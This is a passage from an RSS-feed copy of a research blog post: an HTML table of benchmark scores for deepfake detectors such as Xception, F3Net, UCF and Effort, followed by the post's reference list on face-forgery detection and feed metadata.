<td id="T_78263_row1_col2" class="data row1 col2">0.5979</td>
<td id="T_78263_row1_col3" class="data row1 col3">0.6639</td>
<td id="T_78263_row1_col4" class="data row1 col4">0.4683</td>
<td id="T_78263_row1_col5" class="data row1 col5">0.4533</td>
<td id="T_78263_row1_col6" class="data row1 col6">0.3723</td>
<td id="T_78263_row1_col7" class="data row1 col7">0.4718</td>
<td id="T_78263_row1_col8" class="data row1 col8">0.4745</td>
<td id="T_78263_row1_col9" class="data row1 col9">0.5556</td>
<td id="T_78263_row1_col10" class="data row1 col10">0.6292</td>
<td id="T_78263_row1_col11" class="data row1 col11">0.5486</td>
<td id="T_78263_row1_col12" class="data row1 col12">0.4783</td>
<td id="T_78263_row1_col13" class="data row1 col13">0.6486</td>
<td id="T_78263_row1_col14" class="data row1 col14">0.5421</td>
<td id="T_78263_row1_col15" class="data row1 col15">0.6165</td>
<td id="T_78263_row1_col16" class="data row1 col16">0.5666</td>
<td id="T_78263_row1_col17" class="data row1 col17">0.5034</td>
<td id="T_78263_row1_col18" class="data row1 col18">0.5501</td>
<td id="T_78263_row1_col19" class="data row1 col19">0.6329</td>
<td id="T_78263_row1_col20" class="data row1 col20">0.5313</td>
<td id="T_78263_row1_col21" class="data row1 col21">0.6283</td>
<td id="T_78263_row1_col22" class="data row1 col22">0.5360</td>
<td id="T_78263_row1_col23" class="data row1 col23">0.5296</td>
<td id="T_78263_row1_col24" class="data row1 col24">0.5432</td>
<td id="T_78263_row1_col25" class="data row1 col25">0.7978</td>
<td id="T_78263_row1_col26" class="data row1 col26">0.7294</td>
<td id="T_78263_row1_col27" class="data row1 col27">0.6471</td>
<td id="T_78263_row1_col28" class="data row1 col28">0.8343</td>
<td id="T_78263_row1_col29" class="data row1 col29">0.5912</td>
<td id="T_78263_row1_col30" class="data row1 col30">0.7105</td>
<td id="T_78263_row1_col31" class="data row1 col31">0.6046</td>
<td id="T_78263_row1_col32" class="data row1 col32">0.5685</td>
<td id="T_78263_row1_col33" class="data row1 col33">0.6390</td>
<td id="T_78263_row1_col34" class="data row1 col34">0.6654</td>
<td id="T_78263_row1_col35" class="data row1 col35">0.5869</td>
</tr>
<tr class="odd">
<td id="T_78263_row2_col0" class="data row2 col0">Xception</td>
<td id="T_78263_row2_col1" class="data row2 col1">0.5394</td>
<td id="T_78263_row2_col2" class="data row2 col2">0.6375</td>
<td id="T_78263_row2_col3" class="data row2 col3">0.5648</td>
<td id="T_78263_row2_col4" class="data row2 col4">0.5629</td>
<td id="T_78263_row2_col5" class="data row2 col5">0.5751</td>
<td id="T_78263_row2_col6" class="data row2 col6">0.5146</td>
<td id="T_78263_row2_col7" class="data row2 col7">0.5289</td>
<td id="T_78263_row2_col8" class="data row2 col8">0.5631</td>
<td id="T_78263_row2_col9" class="data row2 col9">0.5974</td>
<td id="T_78263_row2_col10" class="data row2 col10">0.5647</td>
<td id="T_78263_row2_col11" class="data row2 col11">0.5347</td>
<td id="T_78263_row2_col12" class="data row2 col12">0.4525</td>
<td id="T_78263_row2_col13" class="data row2 col13">0.6316</td>
<td id="T_78263_row2_col14" class="data row2 col14">0.6615</td>
<td id="T_78263_row2_col15" class="data row2 col15">0.5493</td>
<td id="T_78263_row2_col16" class="data row2 col16">0.5351</td>
<td id="T_78263_row2_col17" class="data row2 col17">0.6081</td>
<td id="T_78263_row2_col18" class="data row2 col18">0.6479</td>
<td id="T_78263_row2_col19" class="data row2 col19">0.7676</td>
<td id="T_78263_row2_col20" class="data row2 col20">0.5360</td>
<td id="T_78263_row2_col21" class="data row2 col21">0.5985</td>
<td id="T_78263_row2_col22" class="data row2 col22">0.5394</td>
<td id="T_78263_row2_col23" class="data row2 col23">0.6047</td>
<td id="T_78263_row2_col24" class="data row2 col24">0.5730</td>
<td id="T_78263_row2_col25" class="data row2 col25">0.5614</td>
<td id="T_78263_row2_col26" class="data row2 col26">0.3374</td>
<td id="T_78263_row2_col27" class="data row2 col27">0.4546</td>
<td id="T_78263_row2_col28" class="data row2 col28">0.5898</td>
<td id="T_78263_row2_col29" class="data row2 col29">0.6355</td>
<td id="T_78263_row2_col30" class="data row2 col30">0.5142</td>
<td id="T_78263_row2_col31" class="data row2 col31">0.5339</td>
<td id="T_78263_row2_col32" class="data row2 col32">0.5827</td>
<td id="T_78263_row2_col33" class="data row2 col33">0.4762</td>
<td id="T_78263_row2_col34" class="data row2 col34">0.4701</td>
<td id="T_78263_row2_col35" class="data row2 col35">0.5601</td>
</tr>
<tr class="even">
<td id="T_78263_row3_col0" class="data row3 col0">Prodet</td>
<td id="T_78263_row3_col1" class="data row3 col1">0.7088</td>
<td id="T_78263_row3_col2" class="data row3 col2">0.5848</td>
<td id="T_78263_row3_col3" class="data row3 col3">0.4622</td>
<td id="T_78263_row3_col4" class="data row3 col4">0.5842</td>
<td id="T_78263_row3_col5" class="data row3 col5">0.5855</td>
<td id="T_78263_row3_col6" class="data row3 col6">0.5589</td>
<td id="T_78263_row3_col7" class="data row3 col7">0.5842</td>
<td id="T_78263_row3_col8" class="data row3 col8">0.6085</td>
<td id="T_78263_row3_col9" class="data row3 col9">0.6060</td>
<td id="T_78263_row3_col10" class="data row3 col10">0.6326</td>
<td id="T_78263_row3_col11" class="data row3 col11">0.4139</td>
<td id="T_78263_row3_col12" class="data row3 col12">0.6328</td>
<td id="T_78263_row3_col13" class="data row3 col13">0.6684</td>
<td id="T_78263_row3_col14" class="data row3 col14">0.5842</td>
<td id="T_78263_row3_col15" class="data row3 col15">0.5633</td>
<td id="T_78263_row3_col16" class="data row3 col16">0.5206</td>
<td id="T_78263_row3_col17" class="data row3 col17">0.4675</td>
<td id="T_78263_row3_col18" class="data row3 col18">0.5232</td>
<td id="T_78263_row3_col19" class="data row3 col19">0.6783</td>
<td id="T_78263_row3_col20" class="data row3 col20">0.5390</td>
<td id="T_78263_row3_col21" class="data row3 col21">0.6600</td>
<td id="T_78263_row3_col22" class="data row3 col22">0.5345</td>
<td id="T_78263_row3_col23" class="data row3 col23">0.5585</td>
<td id="T_78263_row3_col24" class="data row3 col24">0.6247</td>
<td id="T_78263_row3_col25" class="data row3 col25">0.5427</td>
<td id="T_78263_row3_col26" class="data row3 col26">0.4110</td>
<td id="T_78263_row3_col27" class="data row3 col27">0.4932</td>
<td id="T_78263_row3_col28" class="data row3 col28">0.5342</td>
<td id="T_78263_row3_col29" class="data row3 col29">0.5378</td>
<td id="T_78263_row3_col30" class="data row3 col30">0.5657</td>
<td id="T_78263_row3_col31" class="data row3 col31">0.4659</td>
<td id="T_78263_row3_col32" class="data row3 col32">0.4607</td>
<td id="T_78263_row3_col33" class="data row3 col33">0.3995</td>
<td id="T_78263_row3_col34" class="data row3 col34">0.5552</td>
<td id="T_78263_row3_col35" class="data row3 col35">0.5544</td>
</tr>
<tr class="odd">
<td id="T_78263_row4_col0" class="data row4 col0">Effort</td>
<td id="T_78263_row4_col1" class="data row4 col1">0.6385</td>
<td id="T_78263_row4_col2" class="data row4 col2">0.5336</td>
<td id="T_78263_row4_col3" class="data row4 col3">0.4316</td>
<td id="T_78263_row4_col4" class="data row4 col4">0.5152</td>
<td id="T_78263_row4_col5" class="data row4 col5">0.5184</td>
<td id="T_78263_row4_col6" class="data row4 col6">0.4320</td>
<td id="T_78263_row4_col7" class="data row4 col7">0.4678</td>
<td id="T_78263_row4_col8" class="data row4 col8">0.4397</td>
<td id="T_78263_row4_col9" class="data row4 col9">0.5148</td>
<td id="T_78263_row4_col10" class="data row4 col10">0.6349</td>
<td id="T_78263_row4_col11" class="data row4 col11">0.5189</td>
<td id="T_78263_row4_col12" class="data row4 col12">0.4793</td>
<td id="T_78263_row4_col13" class="data row4 col13">0.6025</td>
<td id="T_78263_row4_col14" class="data row4 col14">0.4606</td>
<td id="T_78263_row4_col15" class="data row4 col15">0.6279</td>
<td id="T_78263_row4_col16" class="data row4 col16">0.5096</td>
<td id="T_78263_row4_col17" class="data row4 col17">0.5236</td>
<td id="T_78263_row4_col18" class="data row4 col18">0.4936</td>
<td id="T_78263_row4_col19" class="data row4 col19">0.6145</td>
<td id="T_78263_row4_col20" class="data row4 col20">0.5181</td>
<td id="T_78263_row4_col21" class="data row4 col21">0.5872</td>
<td id="T_78263_row4_col22" class="data row4 col22">0.5739</td>
<td id="T_78263_row4_col23" class="data row4 col23">0.6195</td>
<td id="T_78263_row4_col24" class="data row4 col24">0.5803</td>
<td id="T_78263_row4_col25" class="data row4 col25">0.7177</td>
<td id="T_78263_row4_col26" class="data row4 col26">0.6606</td>
<td id="T_78263_row4_col27" class="data row4 col27">0.5538</td>
<td id="T_78263_row4_col28" class="data row4 col28">0.7389</td>
<td id="T_78263_row4_col29" class="data row4 col29">0.5207</td>
<td id="T_78263_row4_col30" class="data row4 col30">0.6353</td>
<td id="T_78263_row4_col31" class="data row4 col31">0.5142</td>
<td id="T_78263_row4_col32" class="data row4 col32">0.5023</td>
<td id="T_78263_row4_col33" class="data row4 col33">0.5135</td>
<td id="T_78263_row4_col34" class="data row4 col34">0.5623</td>
<td id="T_78263_row4_col35" class="data row4 col35">0.5516</td>
</tr>
<tr class="even">
<td id="T_78263_row5_col0" class="data row5 col0">F3Net</td>
<td id="T_78263_row5_col1" class="data row5 col1">0.5905</td>
<td id="T_78263_row5_col2" class="data row5 col2">0.5853</td>
<td id="T_78263_row5_col3" class="data row5 col3">0.4631</td>
<td id="T_78263_row5_col4" class="data row5 col4">0.5329</td>
<td id="T_78263_row5_col5" class="data row5 col5">0.6178</td>
<td id="T_78263_row5_col6" class="data row5 col6">0.5342</td>
<td id="T_78263_row5_col7" class="data row5 col7">0.5668</td>
<td id="T_78263_row5_col8" class="data row5 col8">0.5849</td>
<td id="T_78263_row5_col9" class="data row5 col9">0.5664</td>
<td id="T_78263_row5_col10" class="data row5 col10">0.5754</td>
<td id="T_78263_row5_col11" class="data row5 col11">0.4963</td>
<td id="T_78263_row5_col12" class="data row5 col12">0.5048</td>
<td id="T_78263_row5_col13" class="data row5 col13">0.6312</td>
<td id="T_78263_row5_col14" class="data row5 col14">0.5909</td>
<td id="T_78263_row5_col15" class="data row5 col15">0.4362</td>
<td id="T_78263_row5_col16" class="data row5 col16">0.4740</td>
<td id="T_78263_row5_col17" class="data row5 col17">0.5269</td>
<td id="T_78263_row5_col18" class="data row5 col18">0.5489</td>
<td id="T_78263_row5_col19" class="data row5 col19">0.7350</td>
<td id="T_78263_row5_col20" class="data row5 col20">0.4455</td>
<td id="T_78263_row5_col21" class="data row5 col21">0.5552</td>
<td id="T_78263_row5_col22" class="data row5 col22">0.5619</td>
<td id="T_78263_row5_col23" class="data row5 col23">0.5879</td>
<td id="T_78263_row5_col24" class="data row5 col24">0.5752</td>
<td id="T_78263_row5_col25" class="data row5 col25">0.3478</td>
<td id="T_78263_row5_col26" class="data row5 col26">0.3255</td>
<td id="T_78263_row5_col27" class="data row5 col27">0.4929</td>
<td id="T_78263_row5_col28" class="data row5 col28">0.4918</td>
<td id="T_78263_row5_col29" class="data row5 col29">0.5880</td>
<td id="T_78263_row5_col30" class="data row5 col30">0.4733</td>
<td id="T_78263_row5_col31" class="data row5 col31">0.5343</td>
<td id="T_78263_row5_col32" class="data row5 col32">0.5373</td>
<td id="T_78263_row5_col33" class="data row5 col33">0.4275</td>
<td id="T_78263_row5_col34" class="data row5 col34">0.5129</td>
<td id="T_78263_row5_col35" class="data row5 col35">0.5300</td>
</tr>
<tr class="odd">
<td id="T_78263_row6_col0" class="data row6 col0">UCF</td>
<td id="T_78263_row6_col1" class="data row6 col1">0.4950</td>
<td id="T_78263_row6_col2" class="data row6 col2">0.5961</td>
<td id="T_78263_row6_col3" class="data row6 col3">0.4177</td>
<td id="T_78263_row6_col4" class="data row6 col4">0.5633</td>
<td id="T_78263_row6_col5" class="data row6 col5">0.6270</td>
<td id="T_78263_row6_col6" class="data row6 col6">0.5508</td>
<td id="T_78263_row6_col7" class="data row6 col7">0.5803</td>
<td id="T_78263_row6_col8" class="data row6 col8">0.6089</td>
<td id="T_78263_row6_col9" class="data row6 col9">0.5988</td>
<td id="T_78263_row6_col10" class="data row6 col10">0.5994</td>
<td id="T_78263_row6_col11" class="data row6 col11">0.4717</td>
<td id="T_78263_row6_col12" class="data row6 col12">0.4294</td>
<td id="T_78263_row6_col13" class="data row6 col13">0.6469</td>
<td id="T_78263_row6_col14" class="data row6 col14">0.6264</td>
<td id="T_78263_row6_col15" class="data row6 col15">0.4786</td>
<td id="T_78263_row6_col16" class="data row6 col16">0.4741</td>
<td id="T_78263_row6_col17" class="data row6 col17">0.5374</td>
<td id="T_78263_row6_col18" class="data row6 col18">0.5664</td>
<td id="T_78263_row6_col19" class="data row6 col19">0.6900</td>
<td id="T_78263_row6_col20" class="data row6 col20">0.4543</td>
<td id="T_78263_row6_col21" class="data row6 col21">0.4753</td>
<td id="T_78263_row6_col22" class="data row6 col22">0.5798</td>
<td id="T_78263_row6_col23" class="data row6 col23">0.5579</td>
<td id="T_78263_row6_col24" class="data row6 col24">0.5226</td>
<td id="T_78263_row6_col25" class="data row6 col25">0.4214</td>
<td id="T_78263_row6_col26" class="data row6 col26">0.2666</td>
<td id="T_78263_row6_col27" class="data row6 col27">0.4608</td>
<td id="T_78263_row6_col28" class="data row6 col28">0.4978</td>
<td id="T_78263_row6_col29" class="data row6 col29">0.5949</td>
<td id="T_78263_row6_col30" class="data row6 col30">0.5227</td>
<td id="T_78263_row6_col31" class="data row6 col31">0.4757</td>
<td id="T_78263_row6_col32" class="data row6 col32">0.5710</td>
<td id="T_78263_row6_col33" class="data row6 col33">0.3919</td>
<td id="T_78263_row6_col34" class="data row6 col34">0.4890</td>
<td id="T_78263_row6_col35" class="data row6 col35">0.5247</td>
</tr>
<tr class="even">
<td id="T_78263_row7_col0" class="data row7 col0">ForAda</td>
<td id="T_78263_row7_col1" class="data row7 col1">0.4661</td>
<td id="T_78263_row7_col2" class="data row7 col2">0.5843</td>
<td id="T_78263_row7_col3" class="data row7 col3">0.3930</td>
<td id="T_78263_row7_col4" class="data row7 col4">0.4740</td>
<td id="T_78263_row7_col5" class="data row7 col5">0.5056</td>
<td id="T_78263_row7_col6" class="data row7 col6">0.4163</td>
<td id="T_78263_row7_col7" class="data row7 col7">0.4675</td>
<td id="T_78263_row7_col8" class="data row7 col8">0.4484</td>
<td id="T_78263_row7_col9" class="data row7 col9">0.5376</td>
<td id="T_78263_row7_col10" class="data row7 col10">0.5417</td>
<td id="T_78263_row7_col11" class="data row7 col11">0.4950</td>
<td id="T_78263_row7_col12" class="data row7 col12">0.4303</td>
<td id="T_78263_row7_col13" class="data row7 col13">0.5291</td>
<td id="T_78263_row7_col14" class="data row7 col14">0.4929</td>
<td id="T_78263_row7_col15" class="data row7 col15">0.5015</td>
<td id="T_78263_row7_col16" class="data row7 col16">0.4950</td>
<td id="T_78263_row7_col17" class="data row7 col17">0.4853</td>
<td id="T_78263_row7_col18" class="data row7 col18">0.4943</td>
<td id="T_78263_row7_col19" class="data row7 col19">0.6004</td>
<td id="T_78263_row7_col20" class="data row7 col20">0.4237</td>
<td id="T_78263_row7_col21" class="data row7 col21">0.5054</td>
<td id="T_78263_row7_col22" class="data row7 col22">0.5546</td>
<td id="T_78263_row7_col23" class="data row7 col23">0.4609</td>
<td id="T_78263_row7_col24" class="data row7 col24">0.4833</td>
<td id="T_78263_row7_col25" class="data row7 col25">0.7171</td>
<td id="T_78263_row7_col26" class="data row7 col26">0.6058</td>
<td id="T_78263_row7_col27" class="data row7 col27">0.5066</td>
<td id="T_78263_row7_col28" class="data row7 col28">0.7737</td>
<td id="T_78263_row7_col29" class="data row7 col29">0.5176</td>
<td id="T_78263_row7_col30" class="data row7 col30">0.6307</td>
<td id="T_78263_row7_col31" class="data row7 col31">0.5094</td>
<td id="T_78263_row7_col32" class="data row7 col32">0.4972</td>
<td id="T_78263_row7_col33" class="data row7 col33">0.5119</td>
<td id="T_78263_row7_col34" class="data row7 col34">0.5490</td>
<td id="T_78263_row7_col35" class="data row7 col35">0.5178</td>
</tr>
<tr class="odd">
<td id="T_78263_row8_col0" class="data row8 col0">Core</td>
<td id="T_78263_row8_col1" class="data row8 col1">0.5240</td>
<td id="T_78263_row8_col2" class="data row8 col2">0.5493</td>
<td id="T_78263_row8_col3" class="data row8 col3">0.4546</td>
<td id="T_78263_row8_col4" class="data row8 col4">0.4947</td>
<td id="T_78263_row8_col5" class="data row8 col5">0.6105</td>
<td id="T_78263_row8_col6" class="data row8 col6">0.5037</td>
<td id="T_78263_row8_col7" class="data row8 col7">0.6150</td>
<td id="T_78263_row8_col8" class="data row8 col8">0.6211</td>
<td id="T_78263_row8_col9" class="data row8 col9">0.5642</td>
<td id="T_78263_row8_col10" class="data row8 col10">0.5052</td>
<td id="T_78263_row8_col11" class="data row8 col11">0.5150</td>
<td id="T_78263_row8_col12" class="data row8 col12">0.5267</td>
<td id="T_78263_row8_col13" class="data row8 col13">0.6085</td>
<td id="T_78263_row8_col14" class="data row8 col14">0.5522</td>
<td id="T_78263_row8_col15" class="data row8 col15">0.4620</td>
<td id="T_78263_row8_col16" class="data row8 col16">0.5268</td>
<td id="T_78263_row8_col17" class="data row8 col17">0.4677</td>
<td id="T_78263_row8_col18" class="data row8 col18">0.5101</td>
<td id="T_78263_row8_col19" class="data row8 col19">0.6844</td>
<td id="T_78263_row8_col20" class="data row8 col20">0.4053</td>
<td id="T_78263_row8_col21" class="data row8 col21">0.5783</td>
<td id="T_78263_row8_col22" class="data row8 col22">0.6219</td>
<td id="T_78263_row8_col23" class="data row8 col23">0.4799</td>
<td id="T_78263_row8_col24" class="data row8 col24">0.5167</td>
<td id="T_78263_row8_col25" class="data row8 col25">0.3117</td>
<td id="T_78263_row8_col26" class="data row8 col26">0.4261</td>
<td id="T_78263_row8_col27" class="data row8 col27">0.4832</td>
<td id="T_78263_row8_col28" class="data row8 col28">0.4503</td>
<td id="T_78263_row8_col29" class="data row8 col29">0.5235</td>
<td id="T_78263_row8_col30" class="data row8 col30">0.5136</td>
<td id="T_78263_row8_col31" class="data row8 col31">0.4810</td>
<td id="T_78263_row8_col32" class="data row8 col32">0.4927</td>
<td id="T_78263_row8_col33" class="data row8 col33">0.3996</td>
<td id="T_78263_row8_col34" class="data row8 col34">0.5414</td>
<td id="T_78263_row8_col35" class="data row8 col35">0.5153</td>
</tr>
</tbody>
</table>
</div>
</div>
</figure>
</div>
</div>



</section>
</section>

<div id="quarto-appendix" class="default"><section class="quarto-appendix-contents" id="quarto-bibliography"><h2 class="anchored quarto-appendix-heading">References</h2><div id="refs" class="references csl-bib-body hanging-indent">
<div id="ref-cheng2024can" class="csl-entry">
Cheng, Jikang, Zhiyuan Yan, Ying Zhang, Yuhao Luo, Zhongyuan Wang, and Chen Li. 2024. <span>“Can We Leave Deepfake Data Behind in Training Deepfake Detector?”</span> <em>Advances in Neural Information Processing Systems</em> 37: 21979–98.
</div>
<div id="ref-cui2025forensics" class="csl-entry">
Cui, Xinjie, Yuezun Li, Ao Luo, Jiaran Zhou, and Junyu Dong. 2025. <span>“Forensics Adapter: Adapting Clip for Generalizable Face Forgery Detection.”</span> <em>Proceedings of the Computer Vision and Pattern Recognition Conference</em>, 19207–17.
</div>
<div id="ref-han2024parameter" class="csl-entry">
Han, Zeyu, Chao Gao, Jinyang Liu, Jeff Zhang, and Sai Qian Zhang. 2024. <span>“Parameter-Efficient Fine-Tuning for Large Models: A Comprehensive Survey.”</span> <em>Transactions on Machine Learning Research</em>.
</div>
<div id="ref-hu2022lora" class="csl-entry">
<span class="nocase">Hu, Edward J, Phillip Wallis, Zeyuan Allen-Zhu, et al.</span> 2022. <span>“LoRA: Low-Rank Adaptation of Large Language Models.”</span> <em>International Conference on Learning Representations</em>.
</div>
<div id="ref-livernoche2025openfake" class="csl-entry">
Livernoche, Victor, Akshatha Arodi, Andreea Musulan, et al. 2025. <span>“OpenFake: An Open Dataset and Platform Toward Real-World Deepfake Detection.”</span> <em>arXiv Preprint arXiv:2509.09495</em>.
</div>
<div id="ref-ni2022core" class="csl-entry">
Ni, Yunsheng, Depu Meng, Changqian Yu, Chengbin Quan, Dongchun Ren, and Youjian Zhao. 2022. <span>“Core: Consistent Representation Learning for Face Forgery Detection.”</span> <em>Proceedings of the IEEE/CVF Conference on Computer Vision and Pattern Recognition</em>, 12–21.
</div>
<div id="ref-qian2020thinking" class="csl-entry">
Qian, Yuyang, Guojun Yin, Lu Sheng, Zixuan Chen, and Jing Shao. 2020. <span>“Thinking in Frequency: Face Forgery Detection by Mining Frequency-Aware Clues.”</span> <em>European Conference on Computer Vision</em>, 86–103.
</div>
<div id="ref-radford2021clip" class="csl-entry">
<span class="nocase">Radford, Alec, Jong Wook Kim, Chris Hallacy, et al.</span> 2021. <span>“Learning Transferable Visual Models from Natural Language Supervision.”</span> <em>International Conference on Machine Learning</em>, 8748–63.
</div>
<div id="ref-rossler2019faceforensics" class="csl-entry">
Rossler, Andreas, Davide Cozzolino, Luisa Verdoliva, Christian Riess, Justus Thies, and Matthias Nießner. 2019. <span>“Faceforensics++: Learning to Detect Manipulated Facial Images.”</span> <em>Proceedings of the IEEE/CVF International Conference on Computer Vision</em>, 1–11.
</div>
<div id="ref-yan2025orthogonal" class="csl-entry">
Yan, Zhiyuan, Jiangming Wang, Peng Jin, et al. 2025. <span>“Orthogonal Subspace Decomposition for Generalizable AI-Generated Image Detection.”</span> <em>International Conference on Machine Learning</em>, 70268–88.
</div>
<div id="ref-yan2023ucf" class="csl-entry">
Yan, Zhiyuan, Yong Zhang, Yanbo Fan, and Baoyuan Wu. 2023. <span>“Ucf: Uncovering Common Features for Generalizable Deepfake Detection.”</span> <em>Proceedings of the IEEE/CVF International Conference on Computer Vision</em>, 22412–23.
</div>
<div id="ref-yermakov2026deepfake" class="csl-entry">
Yermakov, Andrii, Jan Cech, Jiri Matas, and Mario Fritz. 2026. <span>“Deepfake Detection That Generalizes Across Benchmarks.”</span> <em>Proceedings of the IEEE/CVF Winter Conference on Applications of Computer Vision</em>, 773–83.
</div>
</div></section></div> ]]></description>
  <category>Research</category>
  <category>Deep Learning</category>
  <category>Security</category>
  <category>Statistics</category>
  <guid>https://kaguranaku.me/posts/lightning/</guid>
  <pubDate>Mon, 09 Mar 2026 00:00:00 GMT</pubDate>
  <media:content url="https://kaguranaku.me/posts/lightning/paradigm_shift_1d.png" medium="image" type="image/png" height="99" width="144"/>
</item>
</channel>
</rss>
